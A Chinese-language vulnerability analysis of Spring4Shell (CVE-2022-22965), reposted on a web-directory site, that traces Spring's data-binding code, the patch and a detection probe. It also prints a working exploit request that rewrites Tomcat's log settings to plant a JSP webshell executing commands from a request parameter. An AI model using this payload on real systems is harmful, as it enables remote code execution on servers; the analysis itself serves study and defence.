日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

CVE-2022-22965

A Spring MVC or Spring WebFlux Application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.

 

[VulEnv/springboot/cve-2022-22965 at master · XuCcc/VulEnv]

 

 

一個典型的 Bean 對象如下

class UserInfo {  
    private int age;  

    public int getAge() {  
        return age;  
    }  

    public void setAge(int age) {  
        this.age = age;  
    }  
}

通過 private 定義屬性 通過 public getXyz/setXyz 來讀寫的 class 被稱為 JAVABean [^1]

 

java.beans.Introspector [^2] 提供一套標準的方法來訪問 javaBean 中的屬性、方法、事件,會搜索 Bean 本身并一路往上搜索父類來獲取信息。如通過 java.beans.PropertyDescriptor 來獲取屬性相關的信息(name/getter/setter/...

public static void main(String args[]) throws IntrospectionException {  
    BeanInfo info = Introspector.getBeanInfo(UserInfo.class);  
    PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();  
    for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {  
        System.out.println(propertyDescriptor);  
        System.out.println("=================================================");  
    }  
}

// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]
// =================================================
// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]
// =================================================

也可以通過內省操作來進行賦值操作

UserInfo user = new UserInfo();  
System.out.println("age: " + user.getAge());  
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();  
pd.getWriteMethod().invoke(user, 18);  
System.out.println("age: " + user.getAge());// age: 0// age: 18

 

提供了一套簡單的api來進行 JavaBean 的操作,以及一些高級特性(嵌套屬性、批量讀寫等)

public class User {  
    private String name;  
    private UserInfo info;  

    public String getName() {  
        return name;  
    }  

    public void setName(String name) {  
        this.name = name;  
    }  

    public UserInfo getInfo() {  
        return info;  
    }  

    public void setInfo(UserInfo info) {  
        this.info = info;  
    }  

    public static void main(String args[]) {  
        User user = new User();  
        BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);  
        bw.setAutoGrowNestedPaths(true);  
        bw.setPropertyValue("name", "wang");  
        bw.setPropertyValue("info.age", 18);  
        System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());  
    }  
}// wang is 18

在 setPropertyValue(“name”, “wang”) 處分析調用邏輯,大致了解下流程

org.springframework.beans.AbstractNestablePropertyAccessor[^3]

  1. 調用getPropertyAccessorForPropertyPath方法通過 getter 來獲取嵌套屬性

    1. getPropertyAccessorForPropertyPath 存在嵌套 A.B.C 屬性時,循環調用 getter 取值

  2. 調用setPropertyValue方法通過 setter 來設置屬性

    1. getLocalPropertyHandler 獲取屬性描述符

    2. setValue 通過反射調用 setter 進行賦值

    3. CachedIntrospectionResults#forClass 為當前Bean創建緩存

    4. getCachedIntrospectionResults 從緩存中獲取 PropertyDescriptor

    5. processKeyedProperty 設置 Array/List… 對象

    6. processLocalProperty 設置簡單 Bean 對象

 

以如下的 controller 為例,跟蹤 spring 參數綁定的過程

@GetMapping("/")  
public String info(User user) {  
    return String.format("%s is %d", user.getName(), user.getInfo().getAge());  
}
  1. 傳入的 http 請求經過 org.springframework.web.servlet.DispatcherServlet#doDispatch處理,尋找對應的 Handler 進行處理

  2. org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest 調用 Handler 前進行參數綁定

  3. 使用響應的 org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument 來進行參數解析,從 request 中獲取參數。這里為 org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument

  4. 接下來進入到 org.springframework.validation.DataBinder#doBind,根據 JavaBean 對象來進行賦值。這里會獲取一個BeanWrapperImpl通過setPropertyValues來進行賦值

  5. org.springframework.beans.AbstractPropertyAccessor#setPropertyValues

  6. org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue

 

官方在 5.3.18 修復了這個問題, 在 org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults 處進行了相關修改,加強了一個 PropertyDescriptor 相關的過濾。查看相關調用

  • org.springframework.beans.CachedIntrospectionResults#forClass

  • org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults

結合上文的內容不難推斷,Spring在進行參數綁定時調用的 BeanWrapperImpl在進行JavaBean操作時觸發了此漏洞。

<init>:272, CachedIntrospectionResults (org.springframework.beans)forClass:181, CachedIntrospectionResults (org.springframework.beans)getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)applyPropertyValues:856, DataBinder (org.springframework.validation)doBind:751, DataBinder (org.springframework.validation)doBind:198, WebDataBinder (org.springframework.web.bind)bind:118, ServletRequestDataBinder (org.springframework.web.bind)bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)...

 

由于 JDK9 新提供了 java.lang.Module[^4] 使得在 CachedIntrospectionResults#CachedIntrospectionResults 能夠通過 class.module.classLoader 來獲取 classLoader,所以這個洞也是 CVE-2010-1622[^5] 的繞過。

目前流傳的EXP都是利用 Tomcat 的 ParallelWebappClassLoader 來修改 Tomcat 中日志相關的屬性[^6],來向日志文件寫入 webshell 達到命令執行的目的。
例如向 webapps/shell.jsp 寫入 http header 中的 cmd

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspclass.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.prefix=shellclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

發送報文

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: 7.223.181.36:38888Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9Connection: closecmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>

就可以利用 shell.jsp?a=cmd 來執行命令了

 

Spring 在獲取屬性描述符時加強了判斷,只留下了 name 屬性。

if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {    // Only allow all name variants of Class properties
    continue;
}if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
        || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {    // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
    continue;
}

 

通過錯誤地設置 classloader 下的屬性來觸發 BindException異常讓服務端返回異常即可判斷是否存在漏洞,例如發送

GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1Host: 127.0.0.1:39999Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

服務端返回

HTTP/1.1 400 Content-Type: text/html;charset=UTF-8Content-Language: zh-CNContent-Length: 277Date: Fri, 08 Apr 2022 03:49:42 GMTConnection: close<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are se

 

分享到:
標簽:漏洞
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定